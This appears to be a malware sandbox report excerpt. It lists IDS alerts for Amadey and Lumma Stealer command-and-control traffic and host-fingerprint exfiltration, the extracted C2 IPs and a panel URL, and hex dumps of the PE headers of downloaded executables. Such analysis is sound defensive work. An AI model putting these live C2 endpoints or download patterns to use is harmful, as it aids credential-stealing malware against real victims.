Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:56906 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:56907
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:56910 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:56911 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:56911 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:56909 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:56909 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.6:56702 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 00:38:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 00:38:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 00:38:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 00:38:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 00:38:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 00:38:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 00:38:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 